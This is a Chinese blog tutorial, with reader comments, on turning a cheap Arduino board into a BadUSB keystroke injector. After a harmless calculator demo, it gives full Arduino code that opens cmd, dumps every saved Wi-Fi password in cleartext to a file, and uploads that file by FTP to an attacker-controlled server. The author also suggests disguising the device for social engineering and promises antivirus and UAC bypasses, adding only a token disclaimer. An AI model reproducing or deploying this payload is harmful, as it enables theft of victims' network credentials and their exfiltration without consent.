因为一些因素,所以近期接触到了badusb,官方话还是要说,科普话也同样要说
“BadUSB”是计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在BlackHat安全大会上公布。BadUSB号称是世界上最邪恶的USB外设。
首先买了一块板子,没错就是这种三四十块的,虽然外形很难让人接受,如果做社会工程学的话建议多花十块,买个带壳子的!
开发工具,没错就是这货
插入我们买的板子,点击工具-获取开发板信息
然后再工具,选择我们刚刚得到的信息
好了 准备工作已经齐活了。开始工作吧
先简单的举一个弹计算器的例子
#include <Keyboard.h>
void
setup() {
Keyboard.begin();
//开始键盘通讯
delay(1000);
//延时
Keyboard.press(KEY_LEFT_GUI);
//win键
delay(500);
Keyboard.press(
'r'
);
//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(
'r'
);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println(
"CALC"
);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
//结束键盘通讯
}
void
loop()
//循环
{
}
点击1,再点击2
这个时候就一个badusb就已经制作好了,插入电脑后会自动打开计算器
---------------------------分割线------------------------------------
这都是比较低级的,还能做什么呢?像窃取文件啦。木马远控了
不过这些就需要配合一些其他的东西。就是一个虚拟主机,淘宝上也是十几块钱吧
以wifi密码窃取为例
让我们先看一下代码
#include <Keyboard.h>
void
setup() {
Keyboard.begin();
//开始键盘通讯
delay(1000);
//延时
Keyboard.press(KEY_LEFT_GUI);
//win键
delay(500);
Keyboard.press(
'r'
);
//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(
'r'
);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println(
"CMD"
);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F(
"for /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear >>d:/wifi.txt"
));<br>
//这段代码的功能是把你电脑保存的wifi密码输出出来。保存到一个txt文件里面<br>delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
//这里我关闭了大小写
delay(500);
Keyboard.press(KEY_LEFT_SHIFT);
//现在的输入法默认的都是开机自启汉字选项,我利用shift给他切换一下
Keyboard.release(KEY_LEFT_SHIFT);
delay(500);
Keyboard.print(F(
"ftp xxxxxxxx"
));
//这是你的ftp服务器地址
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F(
"xxxxxx"
));
//用户名
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F(
"xxxxxx"
));
//密码
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F(
"put d:/wifi.txt"
));
//上传刚才的wifi文件
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F(
"bye"
));
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F(
"exit"
));
//结束
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.end();
//结束键盘通讯
}
void
loop()
//循环
{
}
这个时候电脑保存的密码就上传到了你的服务器上
----------------------------分割--------------------------
现在网上的好多源码是不同语言写的,比如这样
这是一个在线的转换网站
http://www.lotqu.com/script.html
不过转换结束之后他的源代码是
type KEY_RETURN |
这代表着是按回车键,松开回车键,但是在这个编辑器中是无法编译的,需要修改为一下的形式
Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); |
-------------------------------分割------------------------
多实验几次 。弄点其他的花样,其实这个就是模拟一个键盘的操作,可以说能作非常多的事
--------------------------------分割线------------------------------------------
大家可能发现,以上的这种办法只适合win10,只有win10能运行。XP,WIN7都是提示了安装驱动,你以为就没有办法进行绕过了嘛?出现这种状况的原因是开发版的问题。过段时间我绘出一个全版本通用的badusb的制作。同时360,uac绕过也在我接下来的文章中会出现。
不要做坏事,本文章仅供测试此技术。了解详细信息,已做此方面的防护。请不要做违反法律的事情。
【请尊重原创作者,转载请标注转载来源】
文章评论
windows7找不到驱动怎么回事?
@666 win7和win10是不同的,过两天会有这类的教程
badusb,大家小心玩,不要做坏事!